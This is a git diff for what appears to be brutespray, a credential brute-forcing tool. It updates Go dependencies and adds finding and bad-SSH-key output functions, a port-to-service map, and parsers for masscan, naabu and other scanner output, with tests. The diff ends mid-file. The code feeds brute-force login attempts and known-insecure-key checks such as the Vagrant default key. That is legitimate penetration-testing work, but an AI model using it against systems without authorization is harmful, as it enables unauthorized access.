github.com/bodgit/ntlmssp v0.0.0-20240506230425-31973bb52d9b h1:baFN6AnR0SeC194X2D292IUZcHDs4JjStpqtE70fjXE= github.com/bodgit/ntlmssp v0.0.0-20240506230425-31973bb52d9b/go.mod h1:Ram6ngyPDmP+0t6+4T2rymv0w0BS9N8Ch5vvUJccw5o= github.com/bodgit/windows v1.0.1 h1:tF7K6KOluPYygXa3Z2594zxlkbKPAOvqr97etrGNIz4= @@ -106,6 +110,8 @@ github.com/go-sql-driver/mysql v1.9.3/go.mod h1:qn46aNg1333BRMNU69Lq93t8du/dwxI6 github.com/gobwas/httphead v0.0.0-20180130184737-2c6c146eadee/go.mod h1:L0fX3K22YWvt/FAX9NnzrNzcI4wNYi9Yku4O0LKYflo= github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM= +github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus= +github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4= github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA= github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= @@ -115,6 +121,7 @@ github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golang/snappy v1.0.0 h1:Oy607GVXHs7RtbggtPBnr2RmDArIsAefDwvrdWvRhGs= github.com/golang/snappy v1.0.0/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= @@ -138,6 +145,8 @@ github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7Fsg github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= github.com/gosnmp/gosnmp v1.43.2 h1:F9loz6uMCNtIQj0RNO5wz/mZ+FZt2WyNKJYOvw+Zosw= github.com/gosnmp/gosnmp v1.43.2/go.mod h1:smHIwoaqr1M+HTAEd7+mKkPs8lp3Lf/U+htPUql1Q3c= +github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed h1:5upAirOpQc1Q53c0bnx2ufif5kANL7bfZWcc6VJWJd8= +github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed/go.mod h1:tMWxXQ9wFIaZeTI9F+hmhFiGpFmhOHzyShyFUhRm0H4= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -221,6 +230,8 @@ github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELU github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo= github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc= github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk= +github.com/neo4j/neo4j-go-driver/v5 v5.28.4 h1:7toxehVcYkZbyxV4W3Ib9VcnyRBQPucF+VwNNmtSXi4= +github.com/neo4j/neo4j-go-driver/v5 v5.28.4/go.mod h1:Vff8OwT7QpLm7L2yYr85XNWe9Rbqlbeb9asNXJTHO4k= github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= @@ -272,8 +283,8 @@ github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD github.com/tidwall/transform v0.0.0-20201103190739-32f242e2dbde h1:AMNpJRc7P+GTwVbl8DkK2I9I8BBUzNiHuH/tlxrpan0= github.com/tidwall/transform v0.0.0-20201103190739-32f242e2dbde/go.mod h1:MvrEmduDUz4ST5pGZ7CABCnOU5f3ZiOAZzT6b1A6nX8= github.com/twitchyliquid64/golang-asm v0.0.0-20190126203739-365674df15fc/go.mod h1:NoCfSFWosfqMqmmD7hApkirIK9ozpHjxRnRxs1l413A= -github.com/x90skysn3k/grdp v1.0.2 h1:HkhPK1rDAbSyZY6OEqxOLA/FPly15IBVnVgzAnS7fCY= -github.com/x90skysn3k/grdp v1.0.2/go.mod h1:brKUl7Rx/wJ9hA3ZlHa9+zC14ye/GrCQKbGW3si7/yE= +github.com/x90skysn3k/grdp v1.0.3 h1:K7BOs8fY/GdOv5Z3yez0gb7s8UOT4j0fIE3h1oPwWn0= +github.com/x90skysn3k/grdp v1.0.3/go.mod h1:H/Klzfgyv7SAj3wtrAAxlfBlUXW+Ck0YZ92wetZTPcA= github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c= github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= github.com/xdg-go/scram v1.2.0 h1:bYKF2AEwG5rqd1BumT4gAnvwU/M9nBp2pTSxeZw7Wvs= @@ -298,8 +309,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= -golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI= -golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q= +golang.org/x/crypto v0.51.0 h1:IBPXwPfKxY7cWQZ38ZCIRPI50YLeevDLlLnyC5wRGTI= +golang.org/x/crypto v0.51.0/go.mod h1:8AdwkbraGNABw2kOX6YFPs3WM22XqI4EXEd8g+x7Oc8= golang.org/x/exp v0.0.0-20231006140011-7918f672742d h1:jtJma62tbqLibJ5sFQz8bKtEM8rJBtfilJ2qTU199MI= golang.org/x/exp v0.0.0-20231006140011-7918f672742d/go.mod h1:ldy0pHrwJyGW56pPQzzkH36rKxoZW1tw7ZJpeKx+hdo= golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= @@ -317,8 +328,8 @@ golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qx golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.53.0 h1:d+qAbo5L0orcWAr0a9JweQpjXF19LMXJE8Ey7hwOdUA= -golang.org/x/net v0.53.0/go.mod h1:JvMuJH7rrdiCfbeHoo3fCQU24Lf5JJwT9W3sJFulfgs= +golang.org/x/net v0.55.0 h1:bcvxaJn3e1U6InsFWt1JUq1aSjnRxLzT2rtD2KfkDF8= +golang.org/x/net v0.55.0/go.mod h1:L5U2KuzuOe1lY7Z+aWVIKK6qEeJXnXV9yzGA+WCHJww= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -349,15 +360,15 @@ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= -golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY= +golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210615171337-6886f2dfbf5b/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.42.0 h1:UiKe+zDFmJobeJ5ggPwOshJIVt6/Ft0rcfrXZDLWAWY= -golang.org/x/term v0.42.0/go.mod h1:Dq/D+snpsbazcBG5+F9Q1n2rXV8Ma+71xEjTRufARgY= +golang.org/x/term v0.43.0 h1:S4RLU2sB31O/NCl+zFN9Aru9A/Cq2aqKpTZJ6B+DwT4= +golang.org/x/term v0.43.0/go.mod h1:lrhlHNdQJHO+1qVYiHfFKVuVioJIheAc3fBSMFYEIsk= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= @@ -365,8 +376,8 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= -golang.org/x/text v0.36.0 h1:JfKh3XmcRPqZPKevfXVpI1wXPTqbkE5f7JA92a55Yxg= -golang.org/x/text v0.36.0/go.mod h1:NIdBknypM8iqVmPiuco0Dh6P5Jcdk8lJL0CUebqK164= +golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc= +golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= @@ -384,6 +395,8 @@ gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogR gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/gemnasium/logrus-airbrake-hook.v2 v2.1.2/go.mod h1:Xk6kEKp8OKb+X14hQBKWaSkCsqBpgog8nAV2xsGOxlo= +gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= +gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= diff --git a/modules/output.go b/modules/output.go index abf655c..3869f12 100644 --- a/modules/output.go +++ b/modules/output.go @@ -414,6 +414,98 @@ func PrintResult(service string, host string, port int, user string, pass string } } +// FindingSink routes a finding line to the TUI when in TUI mode. Set by +// brutespray.executeTUI() — mirrors ErrorSink. +// NOTE: FindingSink is declared here but not yet wired to a TUI sink tab — +// that wiring happens in Task A9 when the TUI Findings tab lands. Until then +// it remains nil and TUI mode falls back to the standard text path. +var FindingSink func(severity, code, service, target, message, cve string) + +// WriteFinding renders a pre-auth recon finding. The output channel is +// chosen by OutputFormatMode + TUIMode: JSONL when format=="json", a TUI +// event when TUIMode is on with FindingSink wired, otherwise a colored +// stdout line. Primitive args to avoid a modules→brute import cycle. +func WriteFinding(severity, code, service, host string, port int, message, cve string) { + target := fmt.Sprintf("%s:%d", host, port) + if OutputFormatMode == "json" { + rec := map[string]any{ + "type": "finding", + "severity": severity, + "code": code, + "service": service, + "target": target, + "message": message, + } + if cve != "" { + rec["cve"] = cve + } + _ = json.NewEncoder(os.Stdout).Encode(rec) + return + } + if TUIMode && FindingSink != nil { + FindingSink(severity, code, service, target, message, cve) + return + } + if Silent { + return + } + cveTrailer := "" + if cve != "" { + cveTrailer = " (" + cve + ")" + } + if NoColorMode { + fmt.Printf("[%s] %s %s %s%s\n", severity, service, target, message, cveTrailer) + return + } + color := pterm.FgYellow + switch severity { + case "CRITICAL": + color = pterm.FgRed + case "HIGH": + color = pterm.FgLightRed + case "WARN": + color = pterm.FgYellow + case "INFO": + color = pterm.FgCyan + } + PrintfColored(color, "[%s] %s %s %s%s\n", severity, service, target, message, cveTrailer) +} + +// PrintBadKeyResult renders a successful SSH bad-key match. Distinct from +// PrintResult so the message clearly signals embedded-bundle authentication. +// In JSON mode produces a JSONL "badkey" record. +func PrintBadKeyResult(service, host string, port int, user, vendor, cve, description string) { + target := fmt.Sprintf("%s:%d", host, port) + if OutputFormatMode == "json" { + rec := map[string]any{ + "type": "badkey", + "service": service, + "target": target, + "username": user, + "vendor": vendor, + "description": description, + } + if cve != "" { + rec["cve"] = cve + } + _ = json.NewEncoder(os.Stdout).Encode(rec) + return + } + if Silent { + return + } + cveTrailer := "" + if cve != "" { + cveTrailer = " (" + cve + ")" + } + msg := fmt.Sprintf("[+] BADKEY %s %s@%s %s%s\n", service, user, target, vendor, cveTrailer) + if NoColorMode { + fmt.Print(msg) + return + } + PrintfColored(pterm.FgLightGreen, "%s", msg) +} + // PrintWarningBeta prints beta service warnings func PrintWarningBeta(service string) { if TUIMode { diff --git a/modules/output_finding_test.go b/modules/output_finding_test.go new file mode 100644 index 0000000..c9ebb4e --- /dev/null +++ b/modules/output_finding_test.go @@ -0,0 +1,85 @@ +package modules + +import ( + "bytes" + "encoding/json" + "io" + "os" + "strings" + "testing" +) + +func captureStdoutModules(fn func()) string { + old := os.Stdout + r, w, _ := os.Pipe() + os.Stdout = w + fn() + w.Close() + os.Stdout = old + var buf bytes.Buffer + _, _ = io.Copy(&buf, r) + return buf.String() +} + +func TestWriteFindingTextMode(t *testing.T) { + OutputFormatMode = "text" + NoColorMode = true + defer func() { NoColorMode = false }() + out := captureStdoutModules(func() { + WriteFinding("WARN", "rdp-nla-missing", "rdp", "10.0.0.5", 3389, "NLA not enforced", "") + }) + for _, want := range []string{"WARN", "rdp", "10.0.0.5:3389", "NLA not enforced"} { + if !strings.Contains(out, want) { + t.Fatalf("missing %q: %s", want, out) + } + } +} + +func TestWriteFindingJSONMode(t *testing.T) { + OutputFormatMode = "json" + defer func() { OutputFormatMode = "text" }() + out := captureStdoutModules(func() { + WriteFinding("CRITICAL", "rdp-stickykeys", "rdp", "10.0.0.5", 3389, "backdoor", "") + }) + var got struct { + Type, Severity, Code, Service, Target string + } + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &got); err != nil { + t.Fatalf("invalid JSON: %v\n%s", err, out) + } + if got.Type != "finding" || got.Severity != "CRITICAL" || got.Code != "rdp-stickykeys" { + t.Fatalf("wrong fields: %+v", got) + } + if got.Target != "10.0.0.5:3389" { + t.Fatalf("target = %q", got.Target) + } +} + +func TestWriteFindingIncludesCVE(t *testing.T) { + OutputFormatMode = "json" + defer func() { OutputFormatMode = "text" }() + out := captureStdoutModules(func() { + WriteFinding("INFO", "ssh-badkey", "ssh", "10.0.0.5", 22, "F5 key", "CVE-2012-1493") + }) + if !strings.Contains(out, "CVE-2012-1493") { + t.Fatalf("CVE missing: %s", out) + } +} + +func TestPrintBadKeyResultJSON(t *testing.T) { + OutputFormatMode = "json" + defer func() { OutputFormatMode = "text" }() + out := captureStdoutModules(func() { + PrintBadKeyResult("ssh", "10.0.0.5", 22, "vagrant", + "HashiCorp Vagrant", "", "Vagrant insecure default key") + }) + var got struct { + Type, Vendor string + } + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &got); err != nil { + t.Fatalf("invalid JSON: %v\n%s", err, out) + } + if got.Type != "badkey" || got.Vendor != "HashiCorp Vagrant" { + t.Fatalf("wrong fields: %+v", got) + } +} diff --git a/modules/parse.go b/modules/parse.go index 9d20579..25b0bbe 100644 --- a/modules/parse.go +++ b/modules/parse.go @@ -121,6 +121,68 @@ func MapService(service string) string { return service } +// defaultServiceForPort returns brutespray's canonical service name for a +// well-known port, or "" when the port has no default mapping. Used by +// stream parsers (masscan JSON, naabu line) that supply only host:port and +// need to fill in the service. +func defaultServiceForPort(port int) string { + switch port { + case 21: + return "ftp" + case 22: + return "ssh" + case 23: + return "telnet" + case 25, 587: + return "smtp" + case 80: + return "http" + case 110: + return "pop3" + case 143: + return "imap" + case 161: + return "snmp" + case 389: + return "ldap" + case 443: + return "https" + case 445: + return "smbnt" + case 636: + return "ldaps" + case 1433: + return "mssql" + case 1521: + return "oracle" + case 3306: + return "mysql" + case 3389: + return "rdp" + case 5432: + return "postgres" + case 5900, 5901, 5902: + return "vnc" + case 5984: + return "couchdb" + case 5985, 5986: + return "winrm" + case 6379: + return "redis" + case 7687: + return "neo4j" + case 8086: + return "influxdb" + case 9042: + return "cassandra" + case 9200: + return "elasticsearch" + case 27017: + return "mongodb" + } + return "" +} + // supportedScanServices is the canonical list of nmap/scanner service names // that brutespray recognises from scan input files. Names are pre-mapping // (i.e. the raw names scanners emit); MapService() converts them to diff --git a/modules/parse_masscan.go b/modules/parse_masscan.go new file mode 100644 index 0000000..53867ba --- /dev/null +++ b/modules/parse_masscan.go @@ -0,0 +1,43 @@ +package modules + +import ( + "encoding/json" + "fmt" + "io" +) + +type masscanPort struct { + Port int `json:"port"` + Proto string `json:"proto"` + Status string `json:"status"` +} + +type masscanHost struct { + IP string `json:"ip"` + Ports []masscanPort `json:"ports"` +} + +// ParseMasscanJSON reads masscan -oJ output (a JSON array of host objects, +// each carrying an array of open-port records) and returns one Host per +// open port. Service is inferred from port via defaultServiceForPort; +// ports with no mapping are dropped. +func ParseMasscanJSON(r io.Reader) ([]Host, error) { + var rows []masscanHost + if err := json.NewDecoder(r).Decode(&rows); err != nil { + return nil, fmt.Errorf("decode masscan json: %w", err) + } + var out []Host + for _, row := range rows { + for _, p := range row.Ports { + if p.Status != "open" { + continue + } + svc := defaultServiceForPort(p.Port) + if svc == "" { + continue + } + out = append(out, Host{Service: svc, Host: row.IP, Port: p.Port}) + } + } + return out, nil +} diff --git a/modules/parse_masscan_test.go b/modules/parse_masscan_test.go new file mode 100644 index 0000000..4cde6d3 --- /dev/null +++ b/modules/parse_masscan_test.go @@ -0,0 +1,78 @@ +package modules + +import ( + "strconv" + "strings" + "testing" +) + +const masscanSample = `[ +{"ip":"10.0.0.5","ports":[{"port":22,"proto":"tcp","status":"open"}]}, +{"ip":"10.0.0.6","ports":[{"port":3306,"proto":"tcp","status":"open"},{"port":80,"proto":"tcp","status":"closed"}]}, +{"ip":"10.0.0.7","ports":[{"port":3389,"proto":"tcp","status":"open"}]}, +{"ip":"10.0.0.8","ports":[{"port":11111,"proto":"tcp","status":"open"}]} +]` + +func TestParseMasscanJSON(t *testing.T) { + hosts, err := ParseMasscanJSON(strings.NewReader(masscanSample)) + if err != nil { + t.Fatalf("ParseMasscanJSON: %v", err) + } + // Want 3 hosts: closed port filtered AND unmapped port 11111 filtered + if len(hosts) != 3 { + t.Fatalf("want 3 hosts, got %d (%+v)", len(hosts), hosts) + } + want := map[string]string{ + "10.0.0.5:22": "ssh", + "10.0.0.6:3306": "mysql", + "10.0.0.7:3389": "rdp", + } + for _, h := range hosts { + key := h.Host + ":" + strconv.Itoa(h.Port) + got, ok := want[key] + if !ok || got != h.Service { + t.Fatalf("unexpected host: %+v", h) + } + } +} + +func TestParseMasscanJSONEmpty(t *testing.T) { + hosts, err := ParseMasscanJSON(strings.NewReader("[]")) + if err != nil { + t.Fatalf("empty array should parse: %v", err) + } + if len(hosts) != 0 { + t.Fatalf("want empty, got %d", len(hosts)) + } +} + +func TestParseMasscanJSONInvalid(t *testing.T) { + _, err := ParseMasscanJSON(strings.NewReader("not json")) + if err == nil { + t.Fatal("expected parse error for garbage input") + } +} + +func TestDefaultServiceForPortKnown(t *testing.T) { + cases := map[int]string{ + 22: "ssh", + 3306: "mysql", + 3389: "rdp", + 5984: "couchdb", + 9200: "elasticsearch", + 7687: "neo4j", + 9042: "cassandra", + 8086: "influxdb", + } + for port, want := range cases { + if got := defaultServiceForPort(port); got != want { + t.Errorf("port %d: got %q, want %q", port, got, want) + } + } +} + +func TestDefaultServiceForPortUnknown(t *testing.T) { + if got := defaultServiceForPort(12345); got != "" { + t.Fatalf("unknown port should return empty, got %q", got) + } +} diff --git a/modules/parse_stream.go b/modules/parse_stream.go new file mode 100644 index 0000000..d482413 --- /dev/null +++ b/modules/parse_stream.go @@ -0,0 +1,190 @@ +package modules + +import ( + "bufio" + "bytes" + "encoding/json" + "fmt" + "io" + "regexp" + "strconv" + "strings" +) + +var ( + nervaURIRE = regexp.MustCompile(`^[a-z][a-z0-9+-]*://[^:/]+:\d+`) + hostPortRE = regexp.MustCompile(`^[^\s:]+:\d+$`) +) + +// DetectStreamFormat peeks at the first non-blank line of a stream and +// returns one of: "naabu", "nerva-uri", "nerva-json", "masscan-json", +// "fingerprintx-json". The caller must pass a reader that has not yet +// been consumed (this function does NOT rewind). +func DetectStreamFormat(r io.Reader) (string, error) { + br := bufio.NewReader(r) + peek, _ := br.Peek(4096) + var line []byte + for _, raw := range bytes.Split(peek, []byte("\n")) { + t := bytes.TrimSpace(raw) + if len(t) > 0 { + line = t + break + } + } + if len(line) == 0 { + return "", fmt.Errorf("empty stream") + } + s := string(line) + switch { + case s[0] == '[': + return "masscan-json", nil + case s[0] == '{': + var probe map[string]json.RawMessage + if err := json.Unmarshal(line, &probe); err != nil { + return "", fmt.Errorf("invalid JSON: %w", err) + } + _, hasService := probe["service"] + _, hasProtocol := probe["protocol"] + _, hasPort := probe["port"] + switch { + case hasService && hasPort: + return "fingerprintx-json", nil + case hasProtocol && hasPort: + return "nerva-json", nil + } + return "", fmt.Errorf("unrecognized JSON shape") + case nervaURIRE.MatchString(s): + return "nerva-uri", nil + case hostPortRE.MatchString(s): + return "naabu", nil + } + return "", fmt.Errorf("unrecognized line format: %s", s) +} + +// ParseStream reads a full stream, auto-detects the format, and returns +// the parsed Hosts. Convenience over DetectStreamFormat + format-specific +// parser when callers want one-shot ingestion. +func ParseStream(r io.Reader) ([]Host, error) { + buf, err := io.ReadAll(r) + if err != nil { + return nil, fmt.Errorf("read stream: %w", err) + } + format, err := DetectStreamFormat(bytes.NewReader(buf)) + if err != nil { + return nil, err + } + switch format { + case "naabu": + return parseNaabuLines(buf), nil + case "nerva-uri": + return parseNervaURI(buf), nil + case "nerva-json": + return parseNervaJSON(buf) + case "masscan-json": + return ParseMasscanJSON(bytes.NewReader(buf)) + case "fingerprintx-json": + return parseFingerprintXJSON(buf) + } + return nil, fmt.Errorf("unsupported format: %s", format) +} + +func parseNaabuLines(buf []byte) []Host { + var out []Host + for _, raw := range bytes.Split(buf, []byte("\n")) { + s := strings.TrimSpace(string(raw)) + if s == "" { + continue + } + host, port, err := splitHostPort(s) + if err != nil { + continue + } + svc := defaultServiceForPort(port) + if svc == "" { + continue + } + out = append(out, Host{Service: svc, Host: host, Port: port}) + } + return out +} + +func parseNervaURI(buf []byte) []Host { + var out []Host + for _, raw := range bytes.Split(buf, []byte("\n")) { + s := strings.TrimSpace(string(raw)) + if s == "" { + continue + } + // Strip parenthetical resolution suffix like "ssh://github.com:22 (140.82.121.4)" + if idx := strings.Index(s, " "); idx > 0 { + s = s[:idx] + } + schemeEnd := strings.Index(s, "://") + if schemeEnd < 0 { + continue + } + scheme := s[:schemeEnd] + rest := s[schemeEnd+3:] + host, port, err := splitHostPort(rest) + if err != nil { + continue + } + out = append(out, Host{Service: scheme, Host: host, Port: port}) + } + return out +} + +type nervaRow struct { + IP string `json:"ip"` + Port int `json:"port"` + Protocol string `json:"protocol"` +} + +func parseNervaJSON(buf []byte) ([]Host, error) { + var out []Host + dec := json.NewDecoder(bytes.NewReader(buf)) + for dec.More() { + var row nervaRow + if err := dec.Decode(&row); err != nil { + return nil, fmt.Errorf("decode nerva-json: %w", err) + } + out = append(out, Host{Service: row.Protocol, Host: row.IP, Port: row.Port}) + } + return out, nil +} + +type fpxRow struct { + Host string `json:"host"` + IP string `json:"ip"` + Port int `json:"port"` + Service string `json:"service"` +} + +func parseFingerprintXJSON(buf []byte) ([]Host, error) { + var out []Host + dec := json.NewDecoder(bytes.NewReader(buf)) + for dec.More() { + var row fpxRow + if err := dec.Decode(&row); err != nil { + return nil, fmt.Errorf("decode fingerprintx-json: %w", err) + } + h := row.Host + if h == "" { + h = row.IP + } + out = append(out, Host{Service: row.Service, Host: h, Port: row.Port}) + } + return out, nil +} + +func splitHostPort(s string) (string, int, error) { + idx := strings.LastIndex(s, ":") + if idx < 0 { + return "", 0, fmt.Errorf("no port: %s", s) + } + port, err := strconv.Atoi(s[idx+1:]) + if err != nil { + return "", 0, err + } + return s[:idx], port, nil +} diff --git a/modules/parse_stream_test.go b/modules/parse_stream_test.go new file mode 100644 index 